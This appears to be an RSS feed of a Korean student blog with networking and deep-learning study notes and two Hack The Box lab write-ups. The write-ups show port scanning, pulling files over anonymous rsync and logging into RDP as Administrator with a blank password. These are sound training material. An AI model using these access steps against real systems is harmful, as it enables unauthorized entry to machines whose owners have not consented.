d_x(y) = {min_v(c, v) + d_v(y)}
$$</p>
<p>하지만 DV 알고리즘은 경로비용이 감소하는 경우에는 전체에 빠르게 퍼지지만, 증가하는 경우에는 그렇지 않다. 경로비용이 증가하는 경우 이는 빠르게 퍼지지 않으며, 무한 계수 문제를 발생시킨다.
무한 계수 문제는 <strong>포이즌 리버스(poison reverse)</strong> 문제를 통해 해결 할 수 있다. 경로비용이 증가한 것을 아는 노드에게 다른 경로가 존재하지 않음을 알린다.(선의의 거짓말) 결국 노드는 비용이 증가한 경로를 사용하고 이에 대한 정보가 다른 노드에게 전파된다. 그리고 다른 노드들은 자신들의 거리 정보를 다시 전파해준다. 즉, 선의의 거짓말을 통해 역경로를 차단하는 것이다. 하지만 3개 이상의 노드를 포함한 루프는 포이즌 리버스로는 감지할 수 없다.</p>
<h3 id="13-링크-상태-알고리즘과-dv-알고리즘의-비교">1.3 링크 상태 알고리즘과 DV 알고리즘의 비교</h3>
<table>
<thead>
<tr>
<th></th>
<th>LS  알고리즘</th>
<th>DV 알고리즘</th>
</tr>
</thead>
<tbody><tr>
<td>메시지 복잡성</td>
<td>링크 비용이 변할 때마다 모든 노드에게 전달되어야함</td>
<td>매번 반복마다 직접 연결된 이웃끼리 메시지 교환</td>
</tr>
<tr>
<td>수렴 속도</td>
<td>O(N^2) 알고리즘</td>
<td>천천히 수렴하고 라우팅 루프/무한 계수 문제 발생 가능</td>
</tr>
<tr>
<td>견고성</td>
<td>경로계산이 분산되어 어느 정도의 견고성을 제공</td>
<td>잘못된 계산을 전파할 수 있음</td>
</tr>
</tbody></table>
<h2 id="2-인터냇-as-내부-라우팅-ospf">2. 인터냇 AS 내부 라우팅: OSPF</h2>
<p>AS: autonomous system(자율 시스템)</p>
<p><strong>OSPF</strong> 란 <strong>개방형 최단 경로 우선(open shortest path first)</strong> 을 의미한다. OSPF는 링크 상태 정보를 플러딩(flooding) 하고 다익스트라 최소 비용 경로 알고리즘을 사용하는 링크 상태 알고리즘이다. 각 라우터는 전체 AS에 대한 완벽한 토폴로지 지도를 얻는다.
OSPF에 구현된 개선사항들은 다음과 같이 요약된다.</p>
<ul>
<li>보안: 라우터들 간의 정보 교환을 인증할 수 있다.(MD5)</li>
<li>복수 동일 비용 경로</li>
<li>유니캐스트와 멀티캐스트 라우팅의 통합지원</li>
<li>단일 AS 내에서의 계층 지원</li>
</ul>
<p>자세한 내용은 [Huitema 1998, Moy 1998, RFC 2328] 참고.</p>
<h2 id="3-isp-간의-라우팅-bgp">3. ISP 간의 라우팅: BGP</h2>
<p>실제 인터넷의 모든 AS는 <strong>경계 게이트웨이 프로토콜(Border Gateway Protocol)</strong> 이라고 불리는 동일한 AS간 라우팅 프로토콜을 사용한다. 일반적으로 <strong>BGP</strong> 라고 알려져 있다. BGP는 DV 알고리즘처럼 분산형 비동기실 프로토콜이다.</p>
<h3 id="31-bgp의-역할">3.1 BGP의 역할</h3>
<p>AS 간 라우팅 프로토콜로서 BGP는 각 라우터에게 다음과 같은 수단을 제공한다.</p>
<p>(1) 이웃 AS를 통해 도달 가능한 서브넷 프리픽스 정보를 얻는다.
(2) 서브넷 주소 프리픽스로의 가장 좋은 경로를 결정한다.</p>
<h3 id="32-bgp-경로-정보-알리기">3.2 BGP 경로 정보 알리기</h3>
<p>AS에서 각각의 라우터들은 <strong>게이트웨이 라우터</strong> 또는 <strong>내부 라우터</strong> 다.
<strong>BGP</strong> 연결은 179번 포트를 이용해 반영구적인 TCP 연결을 통해 BGP 메시지를 주고받는것이다. 이 연결은 AS 외부/내부 여부에 따라 <strong>eBGP</strong>/<strong>iBGP</strong>로 구분된다. 이를 통해 경로 정보(프리픽스 정보)를 AS간에 주고받는 것이다.</p>
<h3 id="33-뜨거운-감자-라우팅">3.3 뜨거운 감자 라우팅</h3>
<p><strong>뜨거운 감자 라우팅(hot potato routing)</strong> 은 가장 단순한 라우팅 알고리즘이다.
라우터는 서브넷 x까지의 경로를 BGP를 통해 파악하고, 해당 경로로 연결되는 게이트 웨이 중 게이트 웨이까지의 비용이 가장 적은 것이 선택된다.(이때 AS 내부 프로토콜이 사용된다.) 즉, AS 외부의 비용은 전혀 고려하지 않는 라우팅 알고리즘이다.</p>
<h3 id="34-ip-애니캐스트">3.4 IP 애니캐스트</h3>
<p>BGP는 AS 간 라우팅 외에도 종종 DNS에서 흔히 사용되는 IP 애니캐스트 서비스를 구현하는 데도 활용된다. IP 애니캐스트 설정 단계에서 CDN 사업자는 자신의 서버 여러 대에 동일한 IP 주소를 할당하고 표준 BGP를 활용하여 이 주소를 서버 각각으로부터 알린다. BGP 라우터가 이 IP 주소에 대한 복수 개의 경로 알림 메시지를 받으면 이를 동일한 물리적 위치로의 서로 다른 경로에 대한 정보를 제공받고 있는 것으로 생각한다. 각 라우터는라우팅 테이블을 설정하면서 BGP 경로 선택 알고리즘을 수행하여 해당 IP 주소로의 최고의 경로를 골라낸다.</p>
<p>하지만 실제로 CDN 사업자는 일반적으로 IP 애니캐스트를 사용하지 않는다. 왜냐하면 BGP 라우팅이 변경되면 하나의 TCP 연결에 속한 패킷들이 서로 다른 복제 웹 서버로 도착될 수 있기 떄문이다.</p>
<p>그러나 DNS 시스템에서는 DNS 질의를 가장 가까운 루트 DNS 서버로 전달하기 위해 IP 애니캐스트가 광범위하게 사용된다.</p>
<h2 id="4-sdn-제어-평면">4. SDN 제어 평면</h2>
<p>SDN 구조의 네 가지 특징은 다음과 같이 정리된다.</p>
<p>(1) 플로우 기반 포워딩
(2) 데이터 평면과 제어 평면의 분리
(3) 네트워크 제어 기능이 데이터 평면 스위치 외부에 존재
(4) 프로그램이 가능한 네트워크</p>
<h3 id="41-sdn-제어-평면">4.1 SDN 제어 평면</h3>
<p><img src="https://velog.velcdn.com/images/chris-mk/post/f99ddb89-842a-4d98-a49c-1a4dfd45676b/image.png" alt=""></p>
<ul>
<li>통신 계층: SDN 컨트롤러와 제어받는 네트워크 장치들 사이의 통신</li>
<li>네트워크 전역 상태 관리 계층: SDN 제어 평면의 궁극적인 제어 결정</li>
<li>네트워크 제어 애플리케이션 계층과의 인터페이스</li>
</ul>
<h3 id="42-openflow-프로토콜">4.2 OpenFlow 프로토콜</h3>
<p>OpenFlow 프로토콜은 TCP 상에서 디폴트 포트번호 6653을 가지고 동작한다.
컨트롤러가 제어되는 스위치로 전달하는 중요한 메시지는 다음과 같다.</p>
<ul>
<li>설정</li>
<li>상태 수정</li>
<li>상태 읽기</li>
<li>패킷 전송</li>
</ul>
<p>SDN으로 제어되는 스위치에서 컨트롤러로 전다로디는 주요 메시지는 다음과 같다.</p>
<ul>
<li>플로우 제거</li>
<li>포트상태</li>
<li>패킷 전달</li>
</ul>
<h2 id="5-인터넷-제어-메시지-프로토콜icmp">5. 인터넷 제어 메시지 프로토콜:ICMP</h2>
<p><img src="https://velog.velcdn.com/images/chris-mk/post/80efe124-4cf5-47bd-a28b-ea5d59101b78/image.png" alt=""></p>
<p>ICMP는 호스트와 라우터가 서로 간에 네트워크 계층 정보를 주고받기 위해 사용된다. 전형적인 사용 형태는 오류 보고다. 
ICMP는 IP 데이터그램에 담겨 전송되므로 구조적으로는 IP 바로 위에 있다. ICMP 메시지에는 타입(type)과 코드(code) 필드로 구성된다.
<code>ping</code> 프로그램은 타입8 코드0 인 ICMP 메시지를 특정 호스트에 보내고, 목적지 호스트는 에코 요청을 보고 타입0 코드0인 ICMP 에코 응답을 보낸다. 대부분의 TCP/IP 구현은 ping 서버를 운영체제에서 직접 지원한다. 즉 ping 서버는 별도의 프로세스가 아니다.
Traceroute 또한 ICMP를 이용한다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[HTB] Synced]]></title>
            <link>https://velog.io/@chris-mk/HTB-Synced</link>
            <guid>https://velog.io/@chris-mk/HTB-Synced</guid>
            <pubDate>Thu, 14 Nov 2024 09:34:16 GMT</pubDate>
            <description><![CDATA[<h2 id="1-task">1. Task</h2>
<p><strong>Task1</strong>
Q: What is the default port for resync?
A: 873</p>
<p><strong>Task2</strong>
Q:How many TCP ports are open on the remote host?
A:1
<code>nmap -sC -p- -T4 --min-rate 5000 10.129.24.188</code></p>
<p><strong>Task3</strong>
Q: What is the protocol version used by rsync on the remote machine?
A: 31
<img src="https://velog.velcdn.com/images/chris-mk/post/98d47020-2b9a-4f36-afe5-52b9f6b741b4/image.png" alt=""></p>
<p><strong>Task4</strong>
Q: What is the most common command name on Linux to interact with rsync?
A: rsync</p>
<p><strong>Task5</strong>
Q: What credentials do you have to pass to rsync in order to use anonymous authentication? anonymous:anonymous, anonymous, None, rsync:rsync
A:none</p>
<p><strong>Task6</strong>
Q: What is the option to only list shares and files on rsync? (No need to include the leading -- characters)
A: list-only</p>
<p><code>rsync 10.129.24.188::public/flag.txt flag.txt</code></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[네트워크] 네트워크 계층: 데이터 평면]]></title>
            <link>https://velog.io/@chris-mk/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EA%B3%84%EC%B8%B5-%EB%8D%B0%EC%9D%B4%ED%84%B0-%ED%8F%89%EB%A9%B4</link>
            <guid>https://velog.io/@chris-mk/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EA%B3%84%EC%B8%B5-%EB%8D%B0%EC%9D%B4%ED%84%B0-%ED%8F%89%EB%A9%B4</guid>
            <pubDate>Thu, 14 Nov 2024 01:09:15 GMT</pubDate>
            <description><![CDATA[<h2 id="1-개요">1. 개요</h2>
<h3 id="11-포워딩과-라우팅">1.1 포워딩과 라우팅:</h3>
<h4 id="포워딩전달">포워딩(전달)</h4>
<p>패킷이 라우터의 입력 링크에 도달했을 때 라우터는 그 패킷을 적절한 출력 링크로 이동시켜야 한다.</p>
<h4 id="라우팅">라우팅</h4>
<p>송신자가 수신자에게 패킷을 전송할 때 네트워크 계층은 패킷 경로를 결정해야한다. 이러한 경로를 계산하는 알고리즘을 <strong>라우팅 알고리즘(routing algorithm)</strong> 이라고 한다.</p>
<h3 id="12-네트워크-서비스-모델">1.2 네트워크 서비스 모델</h3>
<p><strong>네트워크 서비스 모델(network service model)</strong> 은 송수신 호스트 간 패킷 전송 특성을 정의한다. 네트워크에서 제공될 수 있는 서비스들은 다음과 같다.</p>
<ul>
<li>보장된 전달</li>
<li>지연 제한 이내의 보장된 전달</li>
<li>순서화 패킷 전달</li>
<li>최소 대역폭 보장</li>
<li>보안 서비스</li>
</ul>
<h2 id="2-라우터-내부-구성">2. 라우터 내부 구성</h2>
<h3 id="21-입력-포트-처리-및-목적지-기반-전송">2.1 입력 포트 처리 및 목적지 기반 전송</h3>
<p><strong>프리픽스(prefix)</strong> 를 통해 40억개의 엔트리를 갖지 않아도 충분한 <strong>포워딩 테이블</strong>을 구성할 수 있다. 하드웨어 로직은 포워딩 테이블을 검색하여 대응하는 링크 인터페이스를 찾는다.
이렇게 IP 주소를 찾은(&#39;매치&#39;) 다음에 패킷을 스위치 구조로 지정된 출력 포트로 전송(&#39;액션&#39;)하는 것은 라우터뿐만 아니라 많은 네트워크 장치에서 수행되는 일반적인 &#39;매치 플러스 액션&#39;의 사례다.</p>
<h3 id="22-스위칭">2.2 스위칭</h3>
<p>스위치 구조는 패킷이 입력 포트에서 출력포트로 실제로 스위칭되는 구조를 통과하므로 라우터의 핵심이다. 스위칭에는 여러 기술이 있으나 세 가지를 예로 들자면,</p>
<ul>
<li>메모리를 통한 교환</li>
<li>버스를 통한 교환</li>
<li>상호연결을 통한 교환</li>
</ul>
<h3 id="23-출력-포트-처리">2.3 출력 포트 처리</h3>
<p>출력 포트 처리는 출력 포트의 메모리에 저장된 패킷을 가져와서 출력 링크를 통해 전송한다. 여기서 스케줄링, 큐 제거, 링크/물리 계층 전송 기능을 수행한다.</p>
<h3 id="24-큐잉">2.4 큐잉</h3>
<h4 id="입력-큐잉">입력 큐잉</h4>
<p>라인 앞쪽을 다른 패킷이 막아서, 입력 큐에서 대기 중인 패킷이 사용할 출력 포트가 사용 중이지 않더라도 스위치 구조를 통한 전송을 기다리는 것을 <strong>HOL(head-of-the-line) 차단</strong> 이라고 한다.</p>
<h4 id="출력-큐잉">출력 큐잉</h4>
<p>각 패킷이 N개의 입력포트에서 하나의 출력포트로 전송될 때, 출력 포트 전송속도 한계로 인해, 출력 링크를 통한 전송 큐에서 대기가 일어난다. 이 때 추가적으로 패킷이 출력링크로 전송되는 경우 패킷 손실이 발생할 수 있다. 이를 해결하기 위해 명시적 혼잡 알림, AQM(Active Queue Management) 알고리즘으로 알려진 정책이 제안되거나 분석되고 있다.(RED, PIE, CoDell)</p>
<h3 id="25-패킷-스케줄링">2.5 패킷 스케줄링</h3>
<p>패킷 스케줄링 방식은 다음과 같이 나눌 수 있다.</p>
<ul>
<li>FIFO</li>
<li>우선순위 큐잉: 선점형과 비선점형으로 나눌 수 있다.</li>
<li>라운드 로빈과 WFQ</li>
</ul>
<h2 id="3-인터넷-프로토콜ip">3. 인터넷 프로토콜(IP)</h2>
<h3 id="31-ipv4-데이터그램-포맷">3.1 IPv4 데이터그램 포맷</h3>
<p><img src="https://velog.velcdn.com/images/chris-mk/post/17a6e169-c6d2-4b61-ac0b-2726280c2191/image.png" alt=""></p>
<ul>
<li>버전번호: 4비트로 IP 프로토콜 버전을 명시</li>
<li>헤더 길이: 4비트로 실제 페이로드 시작지점 명시</li>
<li>서비스 타입</li>
<li>데이터그램 길이: 헤더와 데이터의 전체 길이</li>
<li>식별자, 플래그, 단편화 오프셋: IPv6에서는 단편화를 허용하지 않는다.</li>
<li>TTL(time-to-live)</li>
<li>프로토콜: 이 필드는 최종 목적지에 도착했을 때만 사용된다.</li>
<li>헤더 체크섬</li>
<li>출발지/목적지 IP 주소</li>
<li>옵션</li>
<li>데이터(페이로드)</li>
</ul>
<h3 id="32-ipv4-주소-체계">3.2 IPv4 주소 체계</h3>
<ul>
<li>인터페이스(interface): 호스트와 물리적 링크 사이의 경계</li>
</ul>
<p>IP주소는 32비트(4바이트)로, 다른 바이트와 점(.)으로 구분하는 십진 표기법을 사용한다.</p>
<ul>
<li>호스트들의 인터페이스들과 하나의 라우터 인터페이스로 연결된 네트워크는 <strong>서브넷(subnet)</strong> 을 구성한다고 말한다. <code>/12</code>와 같은 표현은 <strong>서브넷 마스크(subnet mask)</strong> 로 왼쪽 n비트가 서브넷 주소라는 것을 가리킨다.</li>
</ul>
<p>인터넷 주소 할당방식에는 CIDR(Classess InterDomain Routing)이라는 것이 있다. <code>/x</code>는 최상위 비트 수를 나타내며, 네트워크 프리픽스를 가리킨다.
CIDR이 채택되기 전에는 클래스 주소체계를 사용했으나 이를 통해 충분한 기관의 수를 지원하기에는 수가 너무 부족했다.</p>
<h4 id="호스트-주소-획득-동적-호스트-구성-프로토콜">호스트 주소 획득: 동적 호스트 구성 프로토콜</h4>
<p>기관은 ISP로부터 주소 블록을 획득하고, 기관 내 호스트에게 IP 주소를 할당한다. 이때 <strong>동적 호스트 구성 프로토콜(Dynamic Host Configurateion Protocol, DHCP)</strong> 을 사용한다. DHCP를 통해 호스트는 IP 주소를 자동으로 얻을 수 있다.
1단계: DHCP 서버 발견
2단계: DHCP 서버 제공
3단계: DHCP 요청
4단계: DHCP ACK</p>
<h3 id="33-네트워크-주소-변환nat">3.3 네트워크 주소 변환(NAT)</h3>
<p><strong>네트워크 주소 변환(NAT)</strong> 을 통해 SOHO 네트워크 확산에 대응할 수 있게 되었다.</p>
<h3 id="34-ipv6">3.4 IPv6</h3>
<p>데이터그램 포맷은 다음과 같다.
<img src="https://velog.velcdn.com/images/chris-mk/post/7272637d-b94c-47c0-834e-8160ea2bae12/image.png" alt=""></p>
<ul>
<li>확장된 주소 기능: IP주소 크기가 128비트로 확장되었다.</li>
<li>헤더 간소화: 40바이트로 헤더가 간소화 되었다.</li>
<li>흐름 레이블링</li>
<li>버전: IP 버전 번호</li>
<li>트래픽 클래스</li>
<li>페이로드 길이</li>
<li>다음 헤더: 데이터그램의 내용이 전달될 프로토콜을 구분한다.</li>
<li>홉 제한</li>
<li>출발지/목적지 주소</li>
<li>데이터</li>
</ul>
<h2 id="4-일반화된-포워딩-및-소프트웨어-기반-네트워크sdn">4. 일반화된 포워딩 및 소프트웨어 기반 네트워크(SDN)</h2>
<p>일반화된 포워딩에 대한 논의는 OpenFlow 기반이며, 이는 &#39;매치 플러스 액션&#39; 포워딩의 개념화 및 컨트롤러 그리고 SDN 개념을 개척한 매우 가시적인 표준이다.
패킷 매치 필드에는 진입포트, 링크 계층, 네트워크 계층, 트랜스 포트 계층에 관한 정보가 담겨있다. 이 정보들과 매치를 수행하고 포워딩, 삭제, 필드 수정의 액션을 수행한다.
매치 플러스 액션 작업은 사실 제한된 형태의 프로그래밍 가능성(programmability)을 보여준다. IP 주소 외의 정보가 추가적으로 매치됨에 따라 간단한 포워딩 뿐만 아니라, 로드 밸런싱, 방화벽을 구현할 수 있다.</p>
<h2 id="5-미들박스">5. 미들박스</h2>
<p>미들박스의 정의는 다음과 같다.</p>
<blockquote>
<p>출발지 호스트와 목적지 호스트 사이의 데이터 경로에서 IP 라우터의 정상적이고 표준적인 기능과는 별도로 기능을 수행하는 모든 미들박스 [RFC3234]</p>
</blockquote>
<p>미들박스의 서비스는 크게 세 가지 유형이 있다.</p>
<ul>
<li>NAT 변환</li>
<li>보안 서비스(방화벽, DPI, IDS(침입탐지 시스템))</li>
<li>성능 향상</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[HTB] Starting Point: Explosion]]></title>
            <link>https://velog.io/@chris-mk/HTB-Starting-Point-Explosion</link>
            <guid>https://velog.io/@chris-mk/HTB-Starting-Point-Explosion</guid>
            <pubDate>Wed, 13 Nov 2024 08:36:08 GMT</pubDate>
            <description><![CDATA[<h2 id="1-task">1. Task</h2>
<p><strong>Task1</strong>
Q: What does the 3-letter acronym RDP stand for?
A: Remote Desktop Protocol</p>
<p><strong>Task2</strong>
Q: What is a 3-letter acronym that refers to interaction with the host through a command line interface?
A: cli(command line interface)</p>
<p><strong>Task3</strong>
Q: What about graphical user interface interactions?
A: gui</p>
<p><strong>Task4</strong>
Q: What is the name of an old remote access tool that came without encryption by default and listens on TCP port 23?
A: telnet</p>
<p><strong>Task5</strong>
Q: What is the name of the service running on port 3389 TCP?
A: ms-wbt-server
<img src="https://velog.velcdn.com/images/chris-mk/post/465f1f32-a3e8-4107-aa68-a8b6e1cfa6d8/image.png" alt=""></p>
<p><strong>Task6</strong>
Q: What is the switch used to specify the target host&#39;s IP address when using xfreerdp?
A: /v:</p>
<p><strong>Task7</strong>
Q: What username successfully returns a desktop projection to us with a blank password?
A: Administrator</p>
<blockquote>
<p>sudo apt-get install freerdp2-x11
  xfreerdp /v:10.129.168.84 /u:administrator /cert-ignore</p>
</blockquote>
<p>If you don&#39;t put <code>/cert-ignore</code>, then you can not access server because of certificate verification failure.
<img src="https://velog.velcdn.com/images/chris-mk/post/4760853b-b3e2-4724-a8b6-2e9b974253f6/image.png" alt=""></p>
<h2 id="2-more">2. More</h2>
<h3 id="21-cli---remote-access-tools">2.1 CLI - Remote Access Tools</h3>
<p><code>Telnet</code> is a rudimentary example of CLI. Telnet runs on port 23 TCP, and <code>SSH</code> which is more secure counterpart of telnet runs on port 22 TCP.
SSH stnads for Secure Shell Protocol. This adds layers of authentication and encryption. SSH uses public-key cryptography. </p>
<h3 id="22-gui---remote-access-tools">2.2 GUI - Remote Access Tools</h3>
<p>TeamViewer is not pre-installed on operating system. But Microsoft Remote Desktop Connections is intergrated with OS. So this software can be misconfigured. Misconfiguration results in errors.</p>
<p>In our case, <code>Administrator</code> has no password. So I gained access so easily without hard effort. </p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[딥러닝] 퍼셉트론, 신경망]]></title>
            <link>https://velog.io/@chris-mk/%EB%94%A5%EB%9F%AC%EB%8B%9D-%ED%8D%BC%EC%85%89%ED%8A%B8%EB%A1%A0-%EC%8B%A0%EA%B2%BD%EB%A7%9D</link>
            <guid>https://velog.io/@chris-mk/%EB%94%A5%EB%9F%AC%EB%8B%9D-%ED%8D%BC%EC%85%89%ED%8A%B8%EB%A1%A0-%EC%8B%A0%EA%B2%BD%EB%A7%9D</guid>
            <pubDate>Wed, 13 Nov 2024 07:42:36 GMT</pubDate>
            <description><![CDATA[<h2 id="1-퍼셉트론">1. 퍼셉트론</h2>
<h4 id="단순-퍼셉트론">단순 퍼셉트론</h4>
<p>퍼셉트론은 다수의 신호를 입력으로 받아 하나의 신호를 출력한다.</p>
<h4 id="복층-퍼셉트론">복층 퍼셉트론</h4>
<p>퍼셉트론의 &#39;층&#39;을 쌓아 기존에는 표현하지 못하던 XOR 게이트 같은 것을 구현할 수 있음</p>
<h2 id="2-활성화-함수">2. 활성화 함수</h2>
<p><strong>활성화 함수(activation function)</strong> 이란 입력 신호의 총합을 출력 신호로 변환하는 함수를 일반적으로 부르는 말이다.
임계값을 경계로 출력이 바뀌는 활성화 함수는 <strong>계단 함수(step function)</strong> 이라고 한다.</p>
<h3 id="21-시그모이드-함수">2.1 시그모이드 함수</h3>
<p>$h(x) = \frac{1}{1+\exp(-x)}$</p>
<p><strong>시그모이드 함수(sigmoid function)</strong> 는 신경망에서 자주 이용하는 활성화 함수다. </p>
<h3 id="22-시그모이드-함수와-계단-함수-구현-및-비교">2.2 시그모이드 함수와 계단 함수 구현 및 비교</h3>
<h4 id="비선형-함수를-쓰는-이유">비선형 함수를 쓰는 이유</h4>
<h3 id="23-relu-함수">2.3 ReLU 함수</h3>
<p><strong>ReLU(Rectified Linear Unit)</strong> 함수는 입력이 0을 넘으면 그 입력을 그대로 출력하고, 0 이하면 0을 출력하는 함수다.</p>
<p>$$
h(x) = \begin{cases}
    x (x &gt; 0)\
    0(x \le 0)\
  \end{cases}
$$</p>
<h2 id="3-다차원-배열의-계산">3. 다차원 배열의 계산</h2>
<h3 id="31-다차원-배열">3.1 다차원 배열</h3>
<p><code>shape</code> : 배열의 형상
<code>ndim</code> : 배열의 차원</p>
<h3 id="32-행렬의-곱-dot-product">3.2 행렬의 곱: dot product</h3>
<p><code>dot</code>: dot product 계산</p>
<p>dot product 계산을 위한 조건에 유의하라. (if matrix A is m<em>n, then matrix B should be n\</em>p)</p>
<h2 id="4-신경망-구현">4. 신경망 구현</h2>
<h2 id="5-출력층-설계">5. 출력층 설계</h2>
<h3 id="51-항등함수와-소프트맥스-함수-구현">5.1 항등함수와 소프트맥스 함수 구현</h3>
<p><strong>항등 함수(identity function)</strong> 은 입력을 그대로 출력한다.</p>
<p>분류에서 사용하는 <strong>소프트맥스 함수(softmax function)</strong> 의 식은 다음과 같다.
$$
y_k = \frac{exp(a_k)}{\sum\limits_{i=1}^{n}exp(a_i)}
$$</p>
<p>여기서 n은 출력층의 뉴런수, $y_k$는 그 중에서 k번째 출력임을 뜻한다. 소프트맥스의 출력은 모든 입력신호로부터 화살표를 받는다.</p>
<h3 id="52-개선된-소프트맥스-함수">5.2 개선된 소프트맥스 함수</h3>
<p>$$
y_k = \frac{exp(a_k)}{\sum\limits_{i=1}^{n}exp(a_i)}
    = \frac{Cexp(a_k)}{C\sum\limits_{i=1}^{n}exp(a_i)}
    = \frac{exp(a_k+logC)}{\sum\limits_{i=1}^{n}exp(a_i+logC)}
    = \frac{exp(a_k+C&#39;)}{\sum\limits_{i=1}^{n}exp(a_i+C&#39;)}
$$</p>
<p>이는 지수 함수의 큰 값으로 인한 오버플로를 방지하기 위해 식을 개선 한 것이다. $C$ 가 임의의 정수라 했을 때, 지수 함수를 계산할 때에는 어떤 정수를 더하거나 빼도 결과는 바뀌지 않는다는 것이다. 일반적으로 $C&#39;$에 대입되는 값은 입력 신호 중 최댓값을 이용하는 것이 일반적이다.
소프트맥스 함수의 출력값을 전부 합하면 1이 되므로, 소프트맥스 함수의 출력을 &#39;확률&#39;로 해석할 수 있다.
$exp(x)$는 단조 증가 함수이므로, 소프트맥스 함수를 적용해도 각 원소의 대소 관계는 변하지 않는다. 신경망을 이용한 분류에서는 일반적으로 가장 큰 출력을 내는 뉴런에 해당하는 클래스로만 인식하므로, 소프트맥스 함수를 생략해도 된다.(자원 절약을 위해 현업에서도 생략된다.)</p>
<blockquote>
<p>학습 단계에서는 소프트맥스 함수를 사용하지만, 학습한 모델을 통해 미지의 데이터에 대해 추론을 수행할 때에는 소프트맥스 함수를 생략한다.</p>
</blockquote>
<h3 id="53-출력층의-뉴런-수-정하기">5.3 출력층의 뉴런 수 정하기</h3>
<p>&#39;분류&#39; 에서 출력층의 뉴런 수는 분류하고 싶은 클래스의 수로 정하는 것이 일반적이다.</p>
<h2 id="6-손글씨-숫자-인식">6. 손글씨 숫자 인식</h2>
<h3 id="61-minist-데이터셋">6.1 MINIST 데이터셋</h3>
<p>MINIST 데이터셋은 손글씨 숫자 이미지 집합이다. 훈련 이미지는 60,000장, 시험 이미지가 10,000장 준비되어 있다.</p>
<h3 id="62-신경망의-추론-처리">6.2 신경망의 추론 처리</h3>
<p>아래 깃허브 저장소에 교재 예제가 담겨있다. 
<a href="https://github.com/WegraLee/deep-learning-from-scratch/tree/master/ch03">링크</a></p>
<ul>
<li>정규화: 데이터를 특정 범위로 변환하는 처리</li>
<li>전처리: 신경망의 입력 데이터에 특정 변환을 가하는 것.</li>
</ul>
<h3 id="63-배치-처리">6.3 배치 처리</h3>
<p>추론 처리를 이미지 1개가 아닌 여러개를 묶음으로 처리할 수 있다. 이 경우, I/O를 통해 데이터를 읽는 횟수가 줄어들고, CPU, GPU로 순수 계산을 수행하는 비율이 높아지기 때문이다.</p>
<ul>
<li>배치: 하나로 묶은 입력 데이터</li>
</ul>
<h2 id="7-요약">7. 요약</h2>
<ul>
<li>신경망에서는 활성화 함수로 시그모이드 함수 혹은 ReLU 함수를 이용한다.</li>
<li>넘파이의 다차원 배열을 통해 신경망을 효율적으로 구현할 수 있다.</li>
<li>기계학습 문제는 회귀와 분류로 나눌 수 있다.</li>
<li>출력층 활성화 함수로 회귀에서는 항등함수, 분류에서는 소프트맥스 함수를 주로 사용한다.</li>
<li>분류에서는 출력층의 뉴런 수를 분류하려는 클래스의 수와 같게 설정한다.</li>
<li>입력 데이터를 묶은 것을 배치라 하며, 이 배치 단위로 진행하면 결과를 훨씬 빠르게 얻을 수 있다.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[네트워크] 트랜스포트 계층(2)]]></title>
            <link>https://velog.io/@chris-mk/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%ED%8A%B8%EB%9E%9C%EC%8A%A4%ED%8F%AC%ED%8A%B8-%EA%B3%84%EC%B8%B52</link>
            <guid>https://velog.io/@chris-mk/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%ED%8A%B8%EB%9E%9C%EC%8A%A4%ED%8F%AC%ED%8A%B8-%EA%B3%84%EC%B8%B52</guid>
            <pubDate>Wed, 13 Nov 2024 00:48:18 GMT</pubDate>
            <description><![CDATA[<h2 id="5-연결지향형-트랜스포트-tcp">5. 연결지향형 트랜스포트: TCP</h2>
<h3 id="51-tcp-연결">5.1 TCP 연결</h3>
<p> TCP는 애플리케이션 프로세스가 데이터를 다른 프로세스에게 보내기 전에, 두 프로세스가 서로 핸드셰이크를 먼저 햐여 하므로 <strong>연결지향형(oconnection-oriented)</strong> 이다. 
 TCP 연결은 회선 교환 네트워크에서와 같은 종단 간의 TDM(Time Division Multiplexing) 이나, FDM(Frequency Division Multiplexing)이 아니다.
 TCP는 <strong>전이중 서비스(full-duplex service)</strong> 를 제공한다. 또한 TCP연결은 항상 단일 송신자와 단일 수신자 사이의 <strong>점대점(point-to-point)</strong> 이다. TCP에서 두 호스트 간 3개의 세그먼트가 보내지기 때문에 <strong>세 방향 핸드셰이크</strong>라고 부르기도 한다.</p>
<p> MSS: 최대 세그먼트 크기(maximum segment size)
 TCP 세그먼트: TCP 헤드와 클라이언트 데이터를 하나로 짝지어 구성함</p>
<h3 id="52--tcp-세그먼트-구조">5.2  TCP 세그먼트 구조</h3>
<p>TCP 헤더는 일반적으로 20바이트다.(UDP보다 12바이트 크다). 헤더는 다음과 같은 항목으로 구성된다.</p>
<ul>
<li>출발지와 목적지 포트번호</li>
<li>체크섬 필드</li>
<li>32비트 순서 번호 필드/ 32비트 확인응답 번호 필드</li>
<li>16비트 수신 윈도(receive window) 필드: 흐름제어에 사용된다.</li>
<li>4비트 헤더 길이 필드</li>
<li>선택적이고 가변적인 길이의 옵션필드</li>
<li>6비트의 플래그 필드(ACK, RST, SYN, FIN, PSH, URG 등)</li>
</ul>
<h4 id="순서-번호와-확인응답-번호">순서 번호와 확인응답 번호</h4>
<p>호스트 B가 호스트 A에게 데이터를 전송할 때, 호스트 A가 자신의 세그먼트에 삽입하는 확인응답 번호는 호스트 A가 호스트 B로부터 기대하는 다음 바이트의 순서다.</p>
<h3 id="53-왕복-시간rtt-예측과-타임아웃">5.3 왕복 시간(RTT) 예측과 타임아웃</h3>
<p>불필요한 재전송을 막기 위해 타임아웃 설정을 위한 RTT 예측은 매우 중요하다. 이를 위한 대표적인 예측치 계산 방법은, 직전 RTT 예측값과 직전 RTT 실제값을 가중 평균하여 구한다. 이때 가중치는 임의로 설정한다. 이를 <strong>지수적 가중 이동 평균(exponential weighted moving average, EWMA)</strong> 라고 부른다. 이를 활용하여 <code>DevRTT</code>도 계산하고(직전 <code>DevRTT</code>와 RTT 예측 오차의 EWMA), <code>TimeoutInterval = EstimatedRTT+4*DevRTT</code>로 계산한다.</p>
<h3 id="55-흐름-제어">5.5 흐름 제어</h3>
